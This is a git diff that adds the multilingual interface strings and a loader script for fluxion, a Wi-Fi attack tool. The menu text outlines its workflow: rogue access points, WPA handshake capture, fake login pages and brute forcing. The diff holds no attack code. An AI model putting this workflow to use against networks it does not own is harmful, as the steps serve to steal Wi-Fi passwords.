$WORK_DIR/sites/neutra/tr + +#RO +source $WORK_DIR/sites/neutra/ro + +#HU +source $WORK_DIR/sites/neutra/hu + +#ARA +source $WORK_DIR/sites/neutra/ara + +#CN +source $WORK_DIR/sites/neutra/cn + +#GR +source $WORK_DIR/sites/neutra/gr + +#CZ +source $WORK_DIR/sites/neutra/cz + +#NO +source $WORK_DIR/sites/neutra/no + +#BG +source $WORK_DIR/sites/neutra/bg + +#SRB +source $WORK_DIR/sites/neutra/srb + +#PL +source $WORK_DIR/sites/neutra/pl + +#ID +source $WORK_DIR/sites/neutra/id + +#NL +source $WORK_DIR/sites/neutra/nl + +#DAN +source $WORK_DIR/sites/neutra/dan + +#TH +source $WORK_DIR/sites/neutra/th + +#HE +source $WORK_DIR/sites/neutra/he + +#Portuguese +source $WORK_DIR/sites/neutra/por + +# SVN +source $WORK_DIR/sites/neutra/svn \ No newline at end of file diff --git a/language/ch b/language/ch new file mode 100644 index 0000000..0f667ef --- /dev/null +++ b/language/ch @@ -0,0 +1,41 @@ +setinterface_error="没有检测到网卡 退出..." + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="选择信道" + choosescan_option_1="所有信道 " + choosescan_option_2="指定信道" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="单一信道" + scanchan_option_2="多个信道" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="正在扫描目标" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="选择攻击选项" + askAP_option_1="伪装AP - Hostapd ("$red"推荐)" + askAP_option_4="暴力破解 - (需要握手包)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="请选择验证密码方式" + askauth_option_2="提供的wpa (易错)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="握手包检查" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*抓握手包*" + deauthMENU_option_1="检查握手包" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="请选择" + header_ConnectionRESET="选择登陆界面" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="返回" + general_error_1="未找到" + general_case_error="未知选项. 请再次选择" + general_exitmode="清理并退出" + general_exitmode_3="关闭 "$grey"forwarding of packets" + general_exitmode_4="清理 "$grey"iptables" + general_exitmode_5="恢复 "$grey"tput" + general_exitmode_6="重启 "$grey"Network-Manager" + general_exitmode_7="清理完成!" + general_exitmode_8="感谢使用fluxion!" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="活动的客户端" + selection_2="选择一个目标. 重扫 按$red r$transparent" diff --git a/language/cz b/language/cz new file mode 100644 index 0000000..af22ea6 --- /dev/null +++ b/language/cz @@ -0,0 +1,48 @@ +header_setinterface="Vyberte rozhraní" + setinterface_error="Žádná síťová rozhraní, zavíraní..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Vyberte kanál" + choosescan_option_1="Všechny kanály" + choosescan_option_2="Specifický kanál(y)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Jeden kanál" + scanchan_option_2="Více kanálů" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="Sledování WIFI" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Skenování cíle" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Vyberte metodu útočení" + askAP_option_1="FakeAP - Hostapd ("$red"Doporučeno)" + askAP_option_2="FakeAP - airbase-ng (Pomalejší připojení)" + askAP_option_4="Bruteforce - (Potřebný Handshake)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHODA ZÍSKÁNÍ HESLA" + askauth_option_1="Handshake ("$red"Doporučeno)" + askauth_option_2="Wpa_supplicant(Více chyb)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Potvrzení Handshaku" + deauthforce_option_1="aircrack-ng (Minutí šance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Nahrát Handshake*" + deauthMENU_option_1="Zkontrolovat handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Vyberte" + header_ConnectionRESET="Vyberte přihlašovací stránku" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Zpět" + general_error_1="Nenalezeno" + general_case_error="Neznámý výběr. Vyberte znovu" + general_exitmode="Čištění a zavírání" + general_exitmode_1="Vypínání monitorovacího rozhraní" + general_exitmode_2="Vypínání rozhraní" + general_exitmode_3="Vypínání "$grey"směrování packetů" + general_exitmode_4="Čištění "$grey"iptables" + general_exitmode_5="Obnovování "$grey"tput" + general_exitmode_6="Restartování "$grey"Network-Manager" + general_exitmode_7="Vyčištění proběhlo úspěšně!" + general_exitmode_8="Děkujeme pro používání programu fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Aktivní klienti" + selection_2="Select target. Pro znovuskenování napište$red r$transparent" diff --git a/language/en b/language/en new file mode 100644 index 0000000..537dfe7 --- /dev/null +++ b/language/en @@ -0,0 +1,48 @@ +header_setinterface="Select an interface" + setinterface_error="There are no wireless cards, quit..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Select channel" + choosescan_option_1="All channels " + choosescan_option_2="Specific channel(s)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Single channel" + scanchan_option_2="Multiple channels" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scanning Target" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Select Attack Option" + askAP_option_1="FakeAP - Hostapd ("$red"Recommended)" + askAP_option_2="FakeAP - airbase-ng (Slower connection)" + askAP_option_4="Bruteforce - (Handshake is required)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHOD TO VERIFY THE PASSWORD" + askauth_option_1="Handshake ("$red"Recommended)" + askauth_option_2="Wpa_supplicant(More failures)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake check" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Capture Handshake*" + deauthMENU_option_1="Check handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Select your option" + header_ConnectionRESET="Select Login Page" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Back" + general_error_1="Not_Found" + general_case_error="Unknown option. Choose again" + general_exitmode="Cleaning and closing" + general_exitmode_1="Disabling monitoring interface" + general_exitmode_2="Disabling interface" + general_exitmode_3="Disabling "$grey"forwarding of packets" + general_exitmode_4="Cleaning "$grey"iptables" + general_exitmode_5="Restoring "$grey"tput" + general_exitmode_6="Restarting "$grey"Network-Manager" + general_exitmode_7="Cleanup performed successfully!" + general_exitmode_8="Thanks for using fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Active clients" + selection_2="Select target. For rescan type$red r$transparent" diff --git a/language/esp b/language/esp new file mode 100644 index 0000000..cca4ec0 --- /dev/null +++ b/language/esp @@ -0,0 +1,52 @@ +header_setinterface="Seleccione una interfase" + setinterface_error="No hay tarjetas inalambricas, saliendo..." + + # + header_choosescan="Seleccione canal" + choosescan_option_1="Todos los canales " + choosescan_option_2="Canal(es) específico(s)" + # + scanchan_option_1="Canal único" + scanchan_option_2="Canales múltiples" + # + header_scan="WIFI Monitor" + # + header_scanchan="Escaneando objetivo" + # + header_askAP="Seleccione Opción de Ataque" + askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)" + askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)" + askAP_option_4="Bruteforce - (Se requiere handshake)" + # + header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA" + askauth_option_1="Handshake ("$red"Recomendado)" + askauth_option_2="Wpa_supplicant(Más Fallas)" + # + header_deauthforce="Chequeo de Handshake" + deauthforce_option_1="aircrack-ng (Posibilidad de error)" + # + header_deauthMENU="*Capturar Handshake*" + deauthMENU_option_1="Chequear handshake" + # + handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar" + # + header_webinterface="Seleccione su opción" + header_ConnectionRESET="Seleccione página de Login" + # + general_back="Atrás" + general_error_1="No_Encontrado" + general_case_error="Opción desconocida. Elija de nuevo" + general_exitmode="Limpiando y cerrando" + general_exitmode_1="Deshabilitando interfaz de monitoreo" + general_exitmode_2="Deshabilitando interfaz" + general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes" + general_exitmode_4="Limpiando "$grey"iptables" + general_exitmode_5="Restaurando "$grey"tput" + general_exitmode_6="Reiniciando "$grey"Network-Manager" + general_exitmode_7="Limpieza realizada satisfactoriamente!" + general_exitmode_8="Gracias por usar fluxion" + # + selection_1="Clientes activos" + selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent" + diff --git a/language/fr b/language/fr new file mode 100644 index 0000000..4d449d6 --- /dev/null +++ b/language/fr @@ -0,0 +1,48 @@ +header_setinterface="Sélectionnez une interface" + setinterface_error="Pas de carte wifi detecté, fin..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Sélectionnez un canal" + choosescan_option_1="Tous les canaux " + choosescan_option_2="Canal spécifique" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Un seul canal" + scanchan_option_2="Plusieurs canaux" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scan du reseau" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Sélectionnez une option d'attaque" + askAP_option_1="FakeAP - Hostapd ("$red"Recommandé)" + askAP_option_2="FakeAP - airbase-ng (Connexion plus lente)" + askAP_option_4="Bruteforce - (Handshake requis)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHODE DE VÉRIFICATION DU PASSWORD" + askauth_option_1="Handshake ("$red"Recommandé)" + askauth_option_2="Wpa_supplicant (Plus d'échecs)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Vérification du Handshake" + deauthforce_option_1="aircrack-ng (Moins de chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Capture du Handshake*" + deauthMENU_option_1="Vérification du Handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Sélectionnez votre option" + header_ConnectionRESET="Sélectionnez la page de connexion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Retour" + general_error_1="Pas trouvé" + general_case_error="Option inconnue. Sélectionnez à nouveau" + general_exitmode="Nettoyage et fermeture" + general_exitmode_1="Désactivation de l'interface de monitoring" + general_exitmode_2="Désactivation de l'interface" + general_exitmode_3="Désactivation de "$grey" transmission de paquets" + general_exitmode_4="Nettoyage "$grey"iptables" + general_exitmode_5="Restauration "$grey"tput" + general_exitmode_6="Redémarrage "$grey"Network-Manager" + general_exitmode_7="Nettoyage effectué avec succès!" + general_exitmode_8="Merci d'avoir utilisé fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Clients actifs" + selection_2="Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent" diff --git a/language/ger b/language/ger new file mode 100644 index 0000000..c096d4e --- /dev/null +++ b/language/ger @@ -0,0 +1,52 @@ +header_setinterface="Wähle deine Netzwerkkarte aus" + setinterface_error="Es wurden keine Netzwerkkarten gefunden, beende..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Wähle deinen Kanal aus" + + choosescan_option_1="Alle Kanäle" + choosescan_option_2="Spezifische Kanal(e)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Einzelner Kanal" + scanchan_option_2="Mehrere Kanäle" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scanne Netzwerke..." + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Wähle deine Angriffsmethode aus" + askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)" + askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)" + askAP_option_4="Bruteforce - (Handshake wird benötigt)" + general_back="Zurück" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="Methode zum Prüfen des Handshake" + askauth_option_1="Handshake ("$red"Empfohlen)" + askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake-Überprüfung" + deauthforce_option_1="aircrack-ng (Ausfall möglich)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Erfassung des Handshake*" + deauthMENU_option_1="Überprüfe Handshake" + deauthMENU_option_2="Starte neu" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Wähle deine Strategie aus" + header_ConnectionRESET="Wähle deine Anmeldeseite aus" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_case_error="Unbekannte Option, wähle neu aus" + general_error_1="Nicht gefunden" + general_error_2="Datei wurde ${red}nicht$transparent gefunden" + general_back="Zurück" + general_exitmode="Aufräumen und schließen" + general_exitmode_1="Deaktivierung des Monitor Interface" + general_exitmode_2="Deaktivierung des Interface" + general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen" + general_exitmode_4="Säubere "$grey"iptables" + general_exitmode_5="Wiederherstellung von"$grey"tput" + general_exitmode_6="Neustarten des "$grey"Netzwerk Manager" + general_exitmode_7="Wiederherstellung war erfolgreich" + general_exitmode_8="Vielen Dank für die Nutzung von Fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Mit aktive Nutzer" + selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent" diff --git a/language/gr b/language/gr new file mode 100644 index 0000000..ca2a122 --- /dev/null +++ b/language/gr @@ -0,0 +1,48 @@ + header_setinterface="Επιλέξτε μία διεπαφή" + setinterface_error="Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Επίλεξτε κανάλι" + choosescan_option_1="Όλα τα κανάλια" + choosescan_option_2="Συγκεκριμένο(α) κανάλι(α)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Μονό κανάλι" + scanchan_option_2="Πολλαπλά κανάλια" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="Εποπτεία Wi-Fi" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Σκανάρισμα στόχου" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Επίλογη τύπου επίθεσης" + askAP_option_1="FakeAP - Hostapd ("$red"Συνιστάται)" + askAP_option_2="FakeAP - airbase-ng (Πιό αργή σύνδεση)" + askAP_option_4="Bruteforce - (Απαιτείται το Handshake)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης" + askauth_option_1="Handshake ("$red"Συνιστάται)" + askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Επαλήθευση Handshake" + deauthforce_option_1="aircrack-ng (Πιθανότητα αποτυχίας)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Λήψη του Handshake*" + deauthMENU_option_1="Έλεγχος του handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Επίλεξτε την επιλογή σας" + header_ConnectionRESET="Επίλογη Σελίδας Εισόδου" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Πίσω" + general_error_1="Δέν_βρέθηκε" + general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά" + general_exitmode="Καθαρισμός και τερματισμός" + general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος" + general_exitmode_2="Απενεργοποίηση περιβάλλοντος" + general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων" + general_exitmode_4="Καθαρισμός "$grey"iptables" + general_exitmode_5="Επαναφορά "$grey"tput" + general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου" + general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" + general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Ενεργοί πελάτες" + selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent" diff --git a/language/it b/language/it new file mode 100644 index 0000000..071d234 --- /dev/null +++ b/language/it @@ -0,0 +1,51 @@ +header_setinterface="Seleziona un'interfaccia" + setinterface_error="Nessuna scheda di rete trovata, chiusura..." + + # + header_choosescan="Selezione Canale" + choosescan_option_1="Tutti i Canali" + choosescan_option_2="Definisci Canale/i" + # + scanchan_option_1="Canale Singolo" + scanchan_option_2="Canali Multipli" + # + header_scan="WIFI Monitor" + # + header_scanchan="Scansione dell'Obiettivo" + # + header_askAP="Seleziona Opzione d'Attacco" + askAP_option_1="FakeAP - Hostapd ("$red"Consigliato!)" + askAP_option_2="FakeAP - airbase-ng (Connessione Lenta)" + askAP_option_4="Bruteforce - (Richiede handshake)" + # + header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD" + askauth_option_1="Handshake ("$red"Consigliato!)" + askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)" + # + header_deauthforce="Controllo dell'Handshake" + deauthforce_option_1="aircrack-ng (Possibilità di Errori)" + # + header_deauthMENU="*Cattura dell'Handshake*" + deauthMENU_option_1="Controllo handshake" + # + handshakelocation_1="posizione dell'handshake (Esempio: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare" + # + header_webinterface="Seleziona la tua scelta" + header_ConnectionRESET="Seleziona la pagina di Login" + # + general_back="Indietro" + general_error_1="Non_Trovato" + general_case_error="Opzione Sconosciuta. Scegli di nuovo" + general_exitmode="Pulizia e chiusura" + general_exitmode_1="Disabilito l'Interfaccia Monitor" + general_exitmode_2="Disabilito l'Interfaccia" + general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti" + general_exitmode_4="Pulisco "$grey"iptables" + general_exitmode_5="Ripristino "$grey"tput" + general_exitmode_6="Riavvio il "$grey"Network-Manager" + general_exitmode_7="Pulizia avvenuta con successo!" + general_exitmode_8="Grazie per aver utilizzato Fluxion" + # + selection_1="Dispositivi connessi" + selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent" diff --git a/language/ro b/language/ro new file mode 100644 index 0000000..e9e2b98 --- /dev/null +++ b/language/ro @@ -0,0 +1,51 @@ + header_setinterface="Selecteaza o interfata" + setinterface_error="Nu este nici o placa de retea wireless, iesire..." + + # + header_choosescan="Selecteaza canalul" + choosescan_option_1="Toate canalele " + choosescan_option_2="Canal specific(s)" + # + scanchan_option_1="Un singur canal" + scanchan_option_2="Canale multiple" + # + header_scan="WIFI Monitor" + # + header_scanchan="Scaneaza tinta" + # + header_askAP="Selecteaza optiunea de atac" + askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)" + askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)" + askAP_option_4="Bruteforce - (Handshake este necesara)" + # + header_askauth="METODA PENTRU VERIFICAREA PAROLEI" + askauth_option_1="Handshake ("$red"Recomandat)" + askauth_option_2="Wpa_supplicant(Mai multe eșecuri)" + # + header_deauthforce="Verificare Handshake" + deauthforce_option_1="aircrack-ng (Sansa ratata)" + # + header_deauthMENU="*Capturare Handshake*" + deauthMENU_option_1="Verificare handshake" + # + handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip" + # + header_webinterface="Selecteaza optiunea ta" + header_ConnectionRESET="Selecteaza pagina de logare" + # + general_back="Inapoi" + general_error_1="Nu a fost gasit" + general_case_error="Optiune necunoscuta. Incearca din nou" + general_exitmode="Curatire si inchidere" + general_exitmode_1="Dezacticati interfata monitorizata" + general_exitmode_2="Dezactivati interfata" + general_exitmode_3="Dezactivati "$grey"forwarding of packets" + general_exitmode_4="Curatire "$grey"iptables" + general_exitmode_5="Restaurare "$grey"tput" + general_exitmode_6="Restartare "$grey"Network-Manager" + general_exitmode_7="Curatire efectuata cu succes!" + general_exitmode_8="Multumesc pentru ca ati folosit fluxion" + # + selection_1="Clienti activi" + selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent" diff --git a/language/source b/language/source new file mode 100644 index 0000000..2584807 --- /dev/null +++ b/language/source @@ -0,0 +1,75 @@ + +#EN +source $WORK_DIR/sites/neutra/en + +#GER +source $WORK_DIR/sites/neutra/ger + +#ESP +source $WORK_DIR/sites/neutra/esp + +#IT +source $WORK_DIR/sites/neutra/it + +#FR +source $WORK_DIR/sites/neutra/fr + +#POR +source $WORK_DIR/sites/neutra/por + +#RUS +source $WORK_DIR/sites/neutra/rus + +#TR +source $WORK_DIR/sites/neutra/tr + +#RO +source $WORK_DIR/sites/neutra/ro + +#HU +source $WORK_DIR/sites/neutra/hu + +#ARA +source $WORK_DIR/sites/neutra/ara + +#CN +source $WORK_DIR/sites/neutra/cn + +#GR +source $WORK_DIR/sites/neutra/gr + +#CZ +source $WORK_DIR/sites/neutra/cz + +#NO +source $WORK_DIR/sites/neutra/no + +#BG +source $WORK_DIR/sites/neutra/bg + +#SRB +source $WORK_DIR/sites/neutra/srb + +#PL +source $WORK_DIR/sites/neutra/pl + +#ID +source $WORK_DIR/sites/neutra/id + +#NL +source $WORK_DIR/sites/neutra/nl + +#DAN +source $WORK_DIR/sites/neutra/dan + +#TH +source $WORK_DIR/sites/neutra/th + +#HE +source $WORK_DIR/sites/neutra/he + +#Portuguese +source $WORK_DIR/sites/neutra/por + +# SVN +source $WORK_DIR/sites/neutra/svn \ No newline at end of file diff --git a/language/svn b/language/svn new file mode 100644 index 0000000..965ce6a --- /dev/null +++ b/language/svn @@ -0,0 +1,48 @@ +header_setinterface="Izberite vmesnik" + setinterface_error="Tukaj ni nobenega primernega vmesnika, zapiram...." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Izberite kanal" + choosescan_option_1="Vsi kanali " + choosescan_option_2="Določen kanal/i" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + 